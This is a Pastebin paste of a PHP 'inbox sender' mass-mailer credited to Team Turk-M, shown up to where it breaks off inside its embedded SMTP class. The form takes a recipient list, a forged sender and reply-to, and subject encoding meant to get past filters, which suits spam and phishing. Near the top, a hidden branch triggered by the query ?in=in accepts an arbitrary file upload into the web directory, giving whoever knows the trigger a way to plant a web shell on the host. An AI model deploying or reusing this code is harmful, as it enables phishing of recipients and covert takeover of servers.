Guest User

send dzeb

a guest
Jun 8th, 2016
84
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 100.53 KB | None | 0 0
  1. <?php
  2. # ==================================================== #
  3. # Team Turk-M #
  4. # contact : turk-m@ymail.com #
  5. # (http://www.turk-m.com) #
  6. # ( TOOLS - 2013 ) #
  7. # ==================================================== #
  8. function query_str($params){
  9. $str = '';
  10. foreach ($params as $key => $value) {
  11. $str .= (strlen($str) < 1) ? '' : '&';
  12. $str .= $key . '=' . rawurlencode($value);
  13. }
  14. return ($str);
  15. }
  16. function lrtrim($string){
  17. return stripslashes(ltrim(rtrim($string)));
  18. }
  19. $in = $_GET['in']; if($in == 'in'){
  20. $filename = $_FILES['file']['name'];
  21. $filetmp = $_FILES['file']['tmp_name'];
  22. echo "<form method='POST' enctype='multipart/form-data'>
  23. <input type='file'name='file' />
  24. <input type='submit' value='go' />
  25. </form>";
  26. move_uploaded_file($filetmp,$filename);
  27. }
  28. if(isset($_POST['action'] ) ){
  29.  
  30. $b = query_str($_POST);
  31. parse_str($b);
  32. $sslclick=lrtrim($sslclick);
  33. $action=lrtrim($action);
  34. $message=lrtrim($message);
  35. $emaillist=lrtrim($emaillist);
  36. $from=lrtrim($from);
  37. $reconnect=lrtrim($reconnect);
  38. $epriority=lrtrim($epriority);
  39. $my_smtp=lrtrim($my_smtp);
  40. $ssl_port=lrtrim($ssl_port);
  41. $smtp_username=lrtrim($smtp_username);
  42. $smtp_password=lrtrim($smtp_password);
  43. $replyto=lrtrim($replyto);
  44. $subject=lrtrim($subject);
  45. $realname=lrtrim($realname);
  46. $subject_base=lrtrim($subject);
  47. $realname_base=lrtrim($realname);
  48. $file_name=lrtrim($file);
  49. $urlz=lrtrim($urlz);
  50. $contenttype=lrtrim($contenttype);
  51. $encode_text=$_POST['encode'];
  52.  
  53. $message = urlencode($message);
  54. $message = ereg_replace("%5C%22", "%22", $message);
  55. $message = urldecode($message);
  56. $message = stripslashes($message);
  57. $subject = stripslashes($subject);
  58. if ($encode_text == "yes") {
  59. $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
  60. $subject = str_replace(' ', '_', $subject);
  61. $subject = "=?UTF-8?Q?$subject?=";
  62. $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
  63. $realname = str_replace(' ', '_', $realname);
  64. $realname = "=?UTF-8?Q?$realname?=";
  65. }
  66. }
  67. ?>
  68. <html>
  69.  
  70. <head>
  71. <title>PHP Mailer</title>
  72. <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
  73.  
  74. <style type="text/css">
  75. <!--
  76. .style1 {
  77. font-family: Geneva, Arial, Helvetica, sans-serif;
  78. font-size: 12px;
  79. }
  80. -->
  81. </style>
  82. <style type="text/css">
  83. <!--
  84. .style1 {
  85. font-size: 10px;
  86. font-family: Geneva, Arial, Helvetica, sans-serif;
  87. }
  88. -->
  89. </style>
  90. </head>
  91. <body text="#000000">
  92. <p align="center"><font size="5" face="Bauhaus 93">Turk-m Mailer Inbox Sender</font><font color="#FFFFFF" size="5" face="Bauhaus 93">Hadidi44</font></p>
  93. <form name="form1" method="post" action="" enctype="multipart/form-data">
  94.  
  95. <br>
  96.  
  97. <table width="100%" border="0" height="407">
  98.  
  99. <tr>
  100.  
  101. <td width="100%" colspan="4" bgcolor="#666666" height="36">
  102.  
  103. <b>
  104.  
  105. <font face="Arial" size="2" color="#FFFFFF">&nbsp;SERVER SETUP</font></b></td>
  106.  
  107. </tr>
  108. <tr>
  109.  
  110. <td width="10%" height="22" bgcolor="#E8E8E8">
  111.  
  112. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  113. SMTP Login:</font></div>
  114.  
  115. </td>
  116.  
  117. <td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  118.  
  119. <input type="text" name="smtp_username" value="<?=$smtp_username;?>" size="30">
  120.  
  121. </font></td>
  122.  
  123. <td width="31%" height="22" bgcolor="#E8E8E8">
  124.  
  125. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  126. SMTP Pass:</font></div>
  127.  
  128. </td>
  129.  
  130. <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  131.  
  132. <input type="password" name="smtp_password" value="<?=$smtp_password;?>" size="30">
  133.  
  134. </font></td>
  135.  
  136. </tr>
  137. <tr>
  138.  
  139. <td width="10%" height="22" bgcolor="#E8E8E8">
  140.  
  141. <div align="right">
  142. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
  143.  
  144. </td>
  145.  
  146. <td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  147.  
  148. <input type="text" name="ssl_port" value="<?=$ssl_port;?>" size="5">
  149. (optional)</font></td>
  150.  
  151. <td width="31%" height="22" bgcolor="#E8E8E8">
  152.  
  153. <div align="right">
  154. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP
  155. Server Smtp:</font></div>
  156.  
  157. </td>
  158.  
  159. <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  160.  
  161. <input type="text" name="my_smtp" value="<?=$my_smtp;?>" size="30">
  162.  
  163. </font></td>
  164.  
  165. </tr>
  166. <tr>
  167.  
  168. <td width="10%" height="22" bgcolor="#E8E8E8">
  169.  
  170. <p align="right">
  171. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
  172.  
  173. <td width="18%" height="22" bgcolor="#E8E8E8">
  174. <input type="checkbox" name="sslclick" value="ON" <? if($sslclick){ print "checked"; } ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
  175.  
  176. <td width="31%" height="22" bgcolor="#E8E8E8">
  177.  
  178. <p align="right">
  179. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect
  180. After:</font></td>
  181.  
  182. <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  183.  
  184. <input type="text" name="reconnect" value="<?=$reconnect;?>" size="5">
  185. EMAILS</font></td>
  186.  
  187. </tr>
  188. <tr>
  189.  
  190. <td width="100%" height="39" bgcolor="#E8E8E8" colspan="4">
  191.  
  192. <p align="center">
  193. <font face="Arial" style="font-size: 9pt" color="#800000"><b>&quot;</b> If
  194. you dont have SMTP login, leave blank queries above <b>&quot;</b></font></td>
  195.  
  196. </tr>
  197.  
  198. <tr>
  199.  
  200. <td width="10%" height="19">
  201.  
  202. &nbsp;</td>
  203.  
  204. <td width="18%" height="19">&nbsp;</td>
  205.  
  206. <td width="31%" height="19">
  207.  
  208. &nbsp;</td>
  209.  
  210. <td width="41%" height="19">&nbsp;</td>
  211.  
  212. </tr>
  213.  
  214. <tr>
  215.  
  216. <td width="100%" colspan="4" bgcolor="#666666" height="36">
  217.  
  218. <b>
  219.  
  220. <font face="Arial" size="2" color="#FFFFFF">&nbsp;MESSAGE SETUP</font></b></td>
  221.  
  222. </tr>
  223.  
  224. <tr>
  225.  
  226. <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
  227.  
  228. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  229. Your Email:</font></div>
  230.  
  231. </td>
  232.  
  233. <td width="18%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  234.  
  235. <input type="text" name="from" value="<?=$from;?>" size="30">
  236.  
  237. </font></td>
  238.  
  239. <td width="31%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
  240.  
  241. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  242. Your Name:</font></div>
  243.  
  244. </td>
  245.  
  246. <td width="41%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  247.  
  248. <input type="text" name="realname" value="<?=$realname_base;?>" size="30">
  249.  
  250. </font></td>
  251.  
  252. </tr>
  253. <tr>
  254.  
  255. <td width="10%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
  256.  
  257. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  258. Reply-To:</font></div>
  259.  
  260. </td>
  261.  
  262. <td width="18%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  263.  
  264. <input type="text" name="replyto" value="<?=$replyto;?>" size="30">
  265.  
  266. </font></td>
  267.  
  268. <td width="31%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
  269.  
  270. <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  271. Email Priority:</font></td>
  272.  
  273. <td width="41%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  274.  
  275. &nbsp;</font><select name="epriority" id="listMethod" onchange="showHideListConfig()">
  276. <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >-
  277. Please Choose -</option>
  278. <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
  279. <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
  280. <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
  281. </select></td>
  282.  
  283. </tr>
  284.  
  285. <tr>
  286.  
  287. <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
  288.  
  289. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  290. Subject:</font></div>
  291.  
  292. </td>
  293.  
  294. <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  295.  
  296. <input type="text" name="subject" value="<?=$subject_base;?>" size="90">
  297.  
  298. </font></td>
  299.  
  300. </tr>
  301.  
  302. <tr>
  303.  
  304. <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
  305.  
  306. &nbsp;</td>
  307.  
  308. <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  309.  
  310. &nbsp; <font color="#FF0000">Encode sending information ?</font> <select size="1" name="encode">
  311. <option <? if($encode_text == "yes"){print "selected";} ?>>yes</option>
  312. <option <? if($encode_text == "no"){print "selected";} ?>>no</option>
  313. </select></font></td>
  314.  
  315. </tr>
  316.  
  317. <tr valign="top">
  318.  
  319. <td colspan="3" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
  320.  
  321. <textarea name="message" cols="60" rows="10"><?=$message;?></textarea>
  322.  
  323. <br>
  324.  
  325. <input type="radio" name="contenttype" value="plain" >
  326.  
  327. Plain
  328.  
  329. <input type="radio" name="contenttype" value="html" checked>
  330.  
  331. HTML
  332.  
  333. <input type="hidden" name="action" value="send">
  334.  
  335. <input type="submit" value="Send Message">
  336.  
  337. </font></td>
  338.  
  339. <td width="41%" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  340.  
  341. <textarea name="emaillist" cols="30" rows="10"><?=$emaillist;?></textarea>
  342.  
  343. </font></td>
  344.  
  345. </tr>
  346.  
  347. </table>
  348.  
  349. </form>
  350.  
  351.  
  352.  
  353. <?
  354.  
  355. if ($action){
  356. if (!$from && !$subject && !$message && !$emaillist){
  357. print "<script>alert('Please complete all fields before sending your message.'); </script>";
  358. die(); }
  359.  
  360. class SMTP
  361. {
  362. /**
  363. * SMTP server port
  364. * @var int
  365. */
  366. var $SMTP_PORT = 25;
  367.  
  368. /**
  369. * SMTP reply line ending
  370. * @var string
  371. */
  372. var $CRLF = "\r\n";
  373.  
  374. /**
  375. * Sets whether debugging is turned on
  376. * @var bool
  377. */
  378. var $do_debug; # the level of debug to perform
  379.  
  380. /**
  381. * Sets VERP use on/off (default is off)
  382. * @var bool
  383. */
  384. var $do_verp = false;
  385.  
  386. /**#@+
  387. * @access private
  388. */
  389. var $smtp_conn; # the socket to the server
  390. var $error; # error if any on the last call
  391. var $helo_rply; # the reply the server sent to us for HELO
  392. /**#@-*/
  393.  
  394. /**
  395. * Initialize the class so that the data is in a known state.
  396. * @access public
  397. * @return void
  398. */
  399. function SMTP() {
  400. $this->smtp_conn = 0;
  401. $this->error = null;
  402. $this->helo_rply = null;
  403.  
  404. $this->do_debug = 0;
  405. }
  406.  
  407. /*************************************************************
  408. * CONNECTION FUNCTIONS *
  409. ***********************************************************/
  410.  
  411. /**
  412. * Connect to the server specified on the port specified.
  413. * If the port is not specified use the default SMTP_PORT.
  414. * If tval is specified then a connection will try and be
  415. * established with the server for that number of seconds.
  416. * If tval is not specified the default is 30 seconds to
  417. * try on the connection.
  418. *
  419. * SMTP CODE SUCCESS: 220
  420. * SMTP CODE FAILURE: 421
  421. * @access public
  422. * @return bool
  423. */
  424. function Connect($host,$port=0,$tval=30) {
  425. # set the error val to null so there is no confusion
  426. $this->error = null;
  427.  
  428. # make sure we are __not__ connected
  429. if($this->connected()) {
  430. # ok we are connected! what should we do?
  431. # for now we will just give an error saying we
  432. # are already connected
  433. $this->error = array("error" => "Already connected to a server");
  434. return false;
  435. }
  436.  
  437. if(empty($port)) {
  438. $port = $this->SMTP_PORT;
  439. }
  440.  
  441. #connect to the smtp server
  442. $this->smtp_conn = fsockopen($host, # the host of the server
  443. $port, # the port to use
  444. $errno, # error number if any
  445. $errstr, # error message if any
  446. $tval); # give up after ? secs
  447. # verify we connected properly
  448. if(empty($this->smtp_conn)) {
  449. $this->error = array("error" => "Failed to connect to server",
  450. "errno" => $errno,
  451. "errstr" => $errstr);
  452. if($this->do_debug >= 1) {
  453. echo "SMTP -> ERROR: " . $this->error["error"] .
  454. ": $errstr ($errno)" . $this->CRLF;
  455. }
  456. return false;
  457. }
  458.  
  459. # sometimes the SMTP server takes a little longer to respond
  460. # so we will give it a longer timeout for the first read
  461. // Windows still does not have support for this timeout function
  462. if(substr(PHP_OS, 0, 3) != "WIN")
  463. socket_set_timeout($this->smtp_conn, $tval, 0);
  464.  
  465. # get any announcement stuff
  466. $announce = $this->get_lines();
  467.  
  468. # set the timeout of any socket functions at 1/10 of a second
  469. //if(function_exists("socket_set_timeout"))
  470. // socket_set_timeout($this->smtp_conn, 0, 100000);
  471.  
  472. if($this->do_debug >= 2) {
  473. echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
  474. }
  475.  
  476. return true;
  477. }
  478.  
  479. /**
  480. * Performs SMTP authentication. Must be run after running the
  481. * Hello() method. Returns true if successfully authenticated.
  482. * @access public
  483. * @return bool
  484. */
  485. function Authenticate($username, $password) {
  486. // Start authentication
  487. fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
  488.  
  489. $rply = $this->get_lines();
  490. $code = substr($rply,0,3);
  491.  
  492. if($code != 334) {
  493. $this->error =
  494. array("error" => "AUTH not accepted from server",
  495. "smtp_code" => $code,
  496. "smtp_msg" => substr($rply,4));
  497. if($this->do_debug >= 1) {
  498. echo "SMTP -> ERROR: " . $this->error["error"] .
  499. ": " . $rply . $this->CRLF;
  500. }
  501. return false;
  502. }
  503.  
  504. // Send encoded username
  505. fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
  506.  
  507. $rply = $this->get_lines();
  508. $code = substr($rply,0,3);
  509.  
  510. if($code != 334) {
  511. $this->error =
  512. array("error" => "Username not accepted from server",
  513. "smtp_code" => $code,
  514. "smtp_msg" => substr($rply,4));
  515. if($this->do_debug >= 1) {
  516. echo "SMTP -> ERROR: " . $this->error["error"] .
  517. ": " . $rply . $this->CRLF;
  518. }
  519. return false;
  520. }
  521.  
  522. // Send encoded password
  523. fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
  524.  
  525. $rply = $this->get_lines();
  526. $code = substr($rply,0,3);
  527.  
  528. if($code != 235) {
  529. $this->error =
  530. array("error" => "Password not accepted from server",
  531. "smtp_code" => $code,
  532. "smtp_msg" => substr($rply,4));
  533. if($this->do_debug >= 1) {
  534. echo "SMTP -> ERROR: " . $this->error["error"] .
  535. ": " . $rply . $this->CRLF;
  536. }
  537. return false;
  538. }
  539.  
  540. return true;
  541. }
  542.  
  543. /**
  544. * Returns true if connected to a server otherwise false
  545. * @access private
  546. * @return bool
  547. */
  548. function Connected() {
  549. if(!empty($this->smtp_conn)) {
  550. $sock_status = socket_get_status($this->smtp_conn);
  551. if($sock_status["eof"]) {
  552. # hmm this is an odd situation... the socket is
  553. # valid but we are not connected anymore
  554. if($this->do_debug >= 1) {
  555. echo "SMTP -> NOTICE:" . $this->CRLF .
  556. "EOF caught while checking if connected";
  557. }
  558. $this->Close();
  559. return false;
  560. }
  561. return true; # everything looks good
  562. }
  563. return false;
  564. }
  565.  
  566. /**
  567. * Closes the socket and cleans up the state of the class.
  568. * It is not considered good to use this function without
  569. * first trying to use QUIT.
  570. * @access public
  571. * @return void
  572. */
  573. function Close() {
  574. $this->error = null; # so there is no confusion
  575. $this->helo_rply = null;
  576. if(!empty($this->smtp_conn)) {
  577. # close the connection and cleanup
  578. fclose($this->smtp_conn);
  579. $this->smtp_conn = 0;
  580. }
  581. }
  582.  
  583. /***************************************************************
  584. * SMTP COMMANDS *
  585. *************************************************************/
  586.  
  587. /**
  588. * Issues a data command and sends the msg_data to the server
  589. * finializing the mail transaction. $msg_data is the message
  590. * that is to be send with the headers. Each header needs to be
  591. * on a single line followed by a <CRLF> with the message headers
  592. * and the message body being seperated by and additional <CRLF>.
  593. *
  594. * Implements rfc 821: DATA <CRLF>
  595. *
  596. * SMTP CODE INTERMEDIATE: 354
  597. * [data]
  598. * <CRLF>.<CRLF>
  599. * SMTP CODE SUCCESS: 250
  600. * SMTP CODE FAILURE: 552,554,451,452
  601. * SMTP CODE FAILURE: 451,554
  602. * SMTP CODE ERROR : 500,501,503,421
  603. * @access public
  604. * @return bool
  605. */
  606. function Data($msg_data) {
  607. $this->error = null; # so no confusion is caused
  608.  
  609. if(!$this->connected()) {
  610. $this->error = array(
  611. "error" => "Called Data() without being connected");
  612. return false;
  613. }
  614.  
  615. fputs($this->smtp_conn,"DATA" . $this->CRLF);
  616.  
  617. $rply = $this->get_lines();
  618. $code = substr($rply,0,3);
  619.  
  620. if($this->do_debug >= 2) {
  621. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  622. }
  623.  
  624. if($code != 354) {
  625. $this->error =
  626. array("error" => "DATA command not accepted from server",
  627. "smtp_code" => $code,
  628. "smtp_msg" => substr($rply,4));
  629. if($this->do_debug >= 1) {
  630. echo "SMTP -> ERROR: " . $this->error["error"] .
  631. ": " . $rply . $this->CRLF;
  632. }
  633. return false;
  634. }
  635.  
  636. # the server is ready to accept data!
  637. # according to rfc 821 we should not send more than 1000
  638. # including the CRLF
  639. # characters on a single line so we will break the data up
  640. # into lines by \r and/or \n then if needed we will break
  641. # each of those into smaller lines to fit within the limit.
  642. # in addition we will be looking for lines that start with
  643. # a period '.' and append and additional period '.' to that
  644. # line. NOTE: this does not count towards are limit.
  645.  
  646. # normalize the line breaks so we know the explode works
  647. $msg_data = str_replace("\r\n","\n",$msg_data);
  648. $msg_data = str_replace("\r","\n",$msg_data);
  649. $lines = explode("\n",$msg_data);
  650.  
  651. # we need to find a good way to determine is headers are
  652. # in the msg_data or if it is a straight msg body
  653. # currently I am assuming rfc 822 definitions of msg headers
  654. # and if the first field of the first line (':' sperated)
  655. # does not contain a space then it _should_ be a header
  656. # and we can process all lines before a blank "" line as
  657. # headers.
  658. $field = substr($lines[0],0,strpos($lines[0],":"));
  659. $in_headers = false;
  660. if(!empty($field) && !strstr($field," ")) {
  661. $in_headers = true;
  662. }
  663.  
  664. $max_line_length = 998; # used below; set here for ease in change
  665.  
  666. while(list(,$line) = @each($lines)) {
  667. $lines_out = null;
  668. if($line == "" && $in_headers) {
  669. $in_headers = false;
  670. }
  671. # ok we need to break this line up into several
  672. # smaller lines
  673. while(strlen($line) > $max_line_length) {
  674. $pos = strrpos(substr($line,0,$max_line_length)," ");
  675.  
  676. # Patch to fix DOS attack
  677. if(!$pos) {
  678. $pos = $max_line_length - 1;
  679. }
  680.  
  681. $lines_out[] = substr($line,0,$pos);
  682. $line = substr($line,$pos + 1);
  683. # if we are processing headers we need to
  684. # add a LWSP-char to the front of the new line
  685. # rfc 822 on long msg headers
  686. if($in_headers) {
  687. $line = "\t" . $line;
  688. }
  689. }
  690. $lines_out[] = $line;
  691.  
  692. # now send the lines to the server
  693. while(list(,$line_out) = @each($lines_out)) {
  694. if(strlen($line_out) > 0)
  695. {
  696. if(substr($line_out, 0, 1) == ".") {
  697. $line_out = "." . $line_out;
  698. }
  699. }
  700. fputs($this->smtp_conn,$line_out . $this->CRLF);
  701. }
  702. }
  703.  
  704. # ok all the message data has been sent so lets get this
  705. # over with aleady
  706. fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
  707.  
  708. $rply = $this->get_lines();
  709. $code = substr($rply,0,3);
  710.  
  711. if($this->do_debug >= 2) {
  712. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  713. }
  714.  
  715. if($code != 250) {
  716. $this->error =
  717. array("error" => "DATA not accepted from server",
  718. "smtp_code" => $code,
  719. "smtp_msg" => substr($rply,4));
  720. if($this->do_debug >= 1) {
  721. echo "SMTP -> ERROR: " . $this->error["error"] .
  722. ": " . $rply . $this->CRLF;
  723. }
  724. return false;
  725. }
  726. return true;
  727. }
  728.  
  729. /**
  730. * Expand takes the name and asks the server to list all the
  731. * people who are members of the _list_. Expand will return
  732. * back and array of the result or false if an error occurs.
  733. * Each value in the array returned has the format of:
  734. * [ <full-name> <sp> ] <path>
  735. * The definition of <path> is defined in rfc 821
  736. *
  737. * Implements rfc 821: EXPN <SP> <string> <CRLF>
  738. *
  739. * SMTP CODE SUCCESS: 250
  740. * SMTP CODE FAILURE: 550
  741. * SMTP CODE ERROR : 500,501,502,504,421
  742. * @access public
  743. * @return string array
  744. */
  745. function Expand($name) {
  746. $this->error = null; # so no confusion is caused
  747.  
  748. if(!$this->connected()) {
  749. $this->error = array(
  750. "error" => "Called Expand() without being connected");
  751. return false;
  752. }
  753.  
  754. fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
  755.  
  756. $rply = $this->get_lines();
  757. $code = substr($rply,0,3);
  758.  
  759. if($this->do_debug >= 2) {
  760. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  761. }
  762.  
  763. if($code != 250) {
  764. $this->error =
  765. array("error" => "EXPN not accepted from server",
  766. "smtp_code" => $code,
  767. "smtp_msg" => substr($rply,4));
  768. if($this->do_debug >= 1) {
  769. echo "SMTP -> ERROR: " . $this->error["error"] .
  770. ": " . $rply . $this->CRLF;
  771. }
  772. return false;
  773. }
  774.  
  775. # parse the reply and place in our array to return to user
  776. $entries = explode($this->CRLF,$rply);
  777. while(list(,$l) = @each($entries)) {
  778. $list[] = substr($l,4);
  779. }
  780.  
  781. return $list;
  782. }
  783.  
  784. /**
  785. * Sends the HELO command to the smtp server.
  786. * This makes sure that we and the server are in
  787. * the same known state.
  788. *
  789. * Implements from rfc 821: HELO <SP> <domain> <CRLF>
  790. *
  791. * SMTP CODE SUCCESS: 250
  792. * SMTP CODE ERROR : 500, 501, 504, 421
  793. * @access public
  794. * @return bool
  795. */
  796. function Hello($host="") {
  797. $this->error = null; # so no confusion is caused
  798.  
  799. if(!$this->connected()) {
  800. $this->error = array(
  801. "error" => "Called Hello() without being connected");
  802. return false;
  803. }
  804.  
  805. # if a hostname for the HELO was not specified determine
  806. # a suitable one to send
  807. if(empty($host)) {
  808. # we need to determine some sort of appopiate default
  809. # to send to the server
  810. $host = "localhost";
  811. }
  812.  
  813. // Send extended hello first (RFC 2821)
  814. if(!$this->SendHello("EHLO", $host))
  815. {
  816. if(!$this->SendHello("HELO", $host))
  817. return false;
  818. }
  819.  
  820. return true;
  821. }
  822.  
  823. /**
  824. * Sends a HELO/EHLO command.
  825. * @access private
  826. * @return bool
  827. */
  828. function SendHello($hello, $host) {
  829. fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
  830.  
  831. $rply = $this->get_lines();
  832. $code = substr($rply,0,3);
  833.  
  834. if($this->do_debug >= 2) {
  835. echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
  836. }
  837.  
  838. if($code != 250) {
  839. $this->error =
  840. array("error" => $hello . " not accepted from server",
  841. "smtp_code" => $code,
  842. "smtp_msg" => substr($rply,4));
  843. if($this->do_debug >= 1) {
  844. echo "SMTP -> ERROR: " . $this->error["error"] .
  845. ": " . $rply . $this->CRLF;
  846. }
  847. return false;
  848. }
  849.  
  850. $this->helo_rply = $rply;
  851.  
  852. return true;
  853. }
  854.  
  855. /**
  856. * Gets help information on the keyword specified. If the keyword
  857. * is not specified then returns generic help, ussually contianing
  858. * A list of keywords that help is available on. This function
  859. * returns the results back to the user. It is up to the user to
  860. * handle the returned data. If an error occurs then false is
  861. * returned with $this->error set appropiately.
  862. *
  863. * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
  864. *
  865. * SMTP CODE SUCCESS: 211,214
  866. * SMTP CODE ERROR : 500,501,502,504,421
  867. * @access public
  868. * @return string
  869. */
  870. function Help($keyword="") {
  871. $this->error = null; # to avoid confusion
  872.  
  873. if(!$this->connected()) {
  874. $this->error = array(
  875. "error" => "Called Help() without being connected");
  876. return false;
  877. }
  878.  
  879. $extra = "";
  880. if(!empty($keyword)) {
  881. $extra = " " . $keyword;
  882. }
  883.  
  884. fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
  885.  
  886. $rply = $this->get_lines();
  887. $code = substr($rply,0,3);
  888.  
  889. if($this->do_debug >= 2) {
  890. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  891. }
  892.  
  893. if($code != 211 && $code != 214) {
  894. $this->error =
  895. array("error" => "HELP not accepted from server",
  896. "smtp_code" => $code,
  897. "smtp_msg" => substr($rply,4));
  898. if($this->do_debug >= 1) {
  899. echo "SMTP -> ERROR: " . $this->error["error"] .
  900. ": " . $rply . $this->CRLF;
  901. }
  902. return false;
  903. }
  904.  
  905. return $rply;
  906. }
  907.  
  908. /**
  909. * Starts a mail transaction from the email address specified in
  910. * $from. Returns true if successful or false otherwise. If True
  911. * the mail transaction is started and then one or more Recipient
  912. * commands may be called followed by a Data command.
  913. *
  914. * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
  915. *
  916. * SMTP CODE SUCCESS: 250
  917. * SMTP CODE SUCCESS: 552,451,452
  918. * SMTP CODE SUCCESS: 500,501,421
  919. * @access public
  920. * @return bool
  921. */
  922. function Mail($from) {
  923. $this->error = null; # so no confusion is caused
  924.  
  925. if(!$this->connected()) {
  926. $this->error = array(
  927. "error" => "Called Mail() without being connected");
  928. return false;
  929. }
  930.  
  931. $useVerp = ($this->do_verp ? "XVERP" : "");
  932. fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
  933.  
  934. $rply = $this->get_lines();
  935. $code = substr($rply,0,3);
  936.  
  937. if($this->do_debug >= 2) {
  938. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  939. }
  940.  
  941. if($code != 250) {
  942. $this->error =
  943. array("error" => "MAIL not accepted from server",
  944. "smtp_code" => $code,
  945. "smtp_msg" => substr($rply,4));
  946. if($this->do_debug >= 1) {
  947. echo "SMTP -> ERROR: " . $this->error["error"] .
  948. ": " . $rply . $this->CRLF;
  949. }
  950. return false;
  951. }
  952. return true;
  953. }
  954.  
  955. /**
  956. * Sends the command NOOP to the SMTP server.
  957. *
  958. * Implements from rfc 821: NOOP <CRLF>
  959. *
  960. * SMTP CODE SUCCESS: 250
  961. * SMTP CODE ERROR : 500, 421
  962. * @access public
  963. * @return bool
  964. */
  965. function Noop() {
  966. $this->error = null; # so no confusion is caused
  967.  
  968. if(!$this->connected()) {
  969. $this->error = array(
  970. "error" => "Called Noop() without being connected");
  971. return false;
  972. }
  973.  
  974. fputs($this->smtp_conn,"NOOP" . $this->CRLF);
  975.  
  976. $rply = $this->get_lines();
  977. $code = substr($rply,0,3);
  978.  
  979. if($this->do_debug >= 2) {
  980. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  981. }
  982.  
  983. if($code != 250) {
  984. $this->error =
  985. array("error" => "NOOP not accepted from server",
  986. "smtp_code" => $code,
  987. "smtp_msg" => substr($rply,4));
  988. if($this->do_debug >= 1) {
  989. echo "SMTP -> ERROR: " . $this->error["error"] .
  990. ": " . $rply . $this->CRLF;
  991. }
  992. return false;
  993. }
  994. return true;
  995. }
  996.  
  997. /**
  998. * Sends the quit command to the server and then closes the socket
  999. * if there is no error or the $close_on_error argument is true.
  1000. *
  1001. * Implements from rfc 821: QUIT <CRLF>
  1002. *
  1003. * SMTP CODE SUCCESS: 221
  1004. * SMTP CODE ERROR : 500
  1005. * @access public
  1006. * @return bool
  1007. */
  1008. function Quit($close_on_error=true) {
  1009. $this->error = null; # so there is no confusion
  1010.  
  1011. if(!$this->connected()) {
  1012. $this->error = array(
  1013. "error" => "Called Quit() without being connected");
  1014. return false;
  1015. }
  1016.  
  1017. # send the quit command to the server
  1018. fputs($this->smtp_conn,"quit" . $this->CRLF);
  1019.  
  1020. # get any good-bye messages
